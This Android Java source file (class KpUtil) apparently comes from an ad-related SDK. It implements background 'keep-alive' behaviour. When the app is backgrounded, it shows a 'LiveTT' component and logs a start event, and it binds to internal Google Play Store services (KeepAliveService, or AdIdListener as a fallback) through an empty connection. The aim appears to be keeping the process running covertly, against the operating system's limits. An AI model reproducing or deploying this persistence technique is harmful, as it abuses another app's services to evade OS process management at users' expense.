package com.live;


import static com.gem.media.splash.base.protocol.Constants.START_LIVE;

import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.content.ServiceConnection;
import android.os.Build;
import android.os.IBinder;
import android.os.PowerManager;
import android.text.TextUtils;
import android.util.Log;

import com.ads.cal.notes.BaseApplication;
import com.gem.media.InitA;
import com.gem.media.StatsStaticHelper;
import com.gem.media.splash.base.utils.ALog;


public class KpUtil {

    private static final String TAG = "KpUtil";
    private static final String CLASS_NAME = "org.chromium.customtabsclient.shared.KeepAliveService";
    private static final String CLASS_NAME2 = "com.google.android.finsky.services.AdIdListener";
    private static final String PKG_NAME = "com.android.vending";
    private static final String CLASS_NOT_FOUND = "ClassNotFound";

    private static final class KpUtilHolder {
        static final KpUtil kpUtil = new KpUtil();
    }

    public static KpUtil getInstance() {
        return KpUtilHolder.kpUtil;
    }

    private LiveTT liveTT;
    private boolean startLive;
    private int isScreenOn = -1;

    private volatile int startKpLive = 0;
    private volatile int startKpGpLive = 0;

    public void setStartKpLive(int startKpLive, int startKpGpLive) {
        this.startKpLive = startKpLive;
        this.startKpGpLive = startKpGpLive;
    }

    public boolean isStartKpLive() {
        return startKpLive != 0 && isBackground();
    }

    public boolean isStartKpLiveInScreenOn(Context context) {
        return startKpLive == 1 && getIsScreenOn(context);
    }

    public boolean isStartKpLiveInScreenOnOrInScreenOff() {
        return startKpLive == 2;
    }

    private boolean isBackground() {
        return InitA.getInstance().isAppBackground();
    }

    public void startLive(Context context) {
        startLive(context, isBackground());
    }

    public void startLive(Context context, boolean isBackground) {
        if (context == null) {
            return;
        }
        if (startKpLive == 0) {
//            ALog.d(TAG, "KpLive isStartKpLive = false");
            return;
        }
        if (startKpLive == 1 && !getIsScreenOn(context)) {
//            ALog.d(TAG, "KpLive startKpLive in ScreenOn but isScreenOn = false");
            return;
        }
        if (!isBackground) {
//            ALog.d(TAG, "KpLive startKpLive not in background");
            return;
        }
        if (startLive) {
            return;
        }
        initLiveTT(context);
        liveTT.setError(false);
        liveTT.show();
        startLive = true;
        StatsStaticHelper.reportOnEvent(START_LIVE);
    }

    public void startLive2(Context context) {
        if (context == null) {
            return;
        }
        if (startKpLive == 0) {
//            ALog.d(TAG, "KpLive isStartKpLive = false");
            return;
        }
        if (startKpLive == 1 && !getIsScreenOn(context)) {
//            ALog.d(TAG, "KpLive startKpLive in ScreenOn but isScreenOn = false");
            return;
        }
        if (!isBackground()) {
//            ALog.d(TAG, "KpLive startKpLive not in background");
            return;
        }
        initLiveTT(context);
        liveTT.setError(false);
        liveTT.show2();
        startLive = true;
    }

    private void initLiveTT(Context context) {
        if (null == liveTT) {
            liveTT = LiveTT.makeTT(context);
        }
    }

    public void setStartLive(boolean startLive) {
        this.startLive = startLive;
    }

    public void setIsScreenOn(boolean isScreenOn) {
        if (isScreenOn) {
            this.isScreenOn = 1;
        } else {
            startLive = false;
            this.isScreenOn = 0;
        }
    }

    private boolean getIsScreenOn(Context context) {
        if (isScreenOn == -1) {
            if (isScreenOn(context)) {
                isScreenOn = 1;
            } else {
                isScreenOn = 0;
            }
        }
        return isScreenOn == 1;
    }

    private boolean bindGpService = true;

    public boolean isBindGpService() {
        return bindGpService;
    }

    public void bindKpLiveService(String channelId) {
//        ALog.d(TAG, "bindKpLiveService channelId = " + channelId);
        if (TextUtils.isEmpty(channelId)) {
            return;
        }
        Context context = BaseApplication.getApplication();
        if (context == null) {
//            ALog.d(TAG, "bindKpLiveService context is null");
            return;
        }
        if (startKpGpLive == 0) {
//            ALog.d(TAG, "bindKpLiveService isStartKpGpLive = false");
            return;
        }
        if (startKpGpLive == 1 && !getIsScreenOn(context)) {
//            ALog.d(TAG, "KpLive StartKpGpLive in ScreenOn but isScreenOn = false");
            return;
        }

        try {
            Intent intent = new Intent();
            intent.setClassName(PKG_NAME, CLASS_NAME);
            context.getApplicationContext().bindService(intent, serviceConnection, Context.BIND_AUTO_CREATE);
//            ALog.d(TAG, "KpLive StartKpGpLive kpsuc");
        } catch (Throwable e) {
            String error = Log.getStackTraceString(e);
            ALog.d(TAG, error);
            if (error.contains(CLASS_NOT_FOUND)) {
                try {
                    Intent intent = new Intent();
                    intent.setClassName(PKG_NAME, CLASS_NAME2);
                    context.getApplicationContext().bindService(intent, serviceConnection, Context.BIND_AUTO_CREATE);
//                    ALog.d(TAG, "KpLive StartKpGpLive adsuc");
                } catch (Throwable e2) {
                    String error2 = Log.getStackTraceString(e2);
                    ALog.d(TAG, "e2 ---- " + error2);
                    bindGpService = false;
                }
            } else {
                bindGpService = false;
            }
        }
    }

    private final ServiceConnection serviceConnection = new ServiceConnection() {
        @Override
        public void onServiceConnected(ComponentName name, IBinder service) {

        }

        @Override
        public void onServiceDisconnected(ComponentName name) {

        }
    };


    private boolean isScreenOn(Context context) {
        PowerManager powerManager = (PowerManager) context.getSystemService(Context.POWER_SERVICE);
        if (Build.VERSION.SDK_INT < Build.VERSION_CODES.KITKAT_WATCH) {
            return powerManager.isScreenOn();
        } else {
            return powerManager.isInteractive();
        }
    }
}
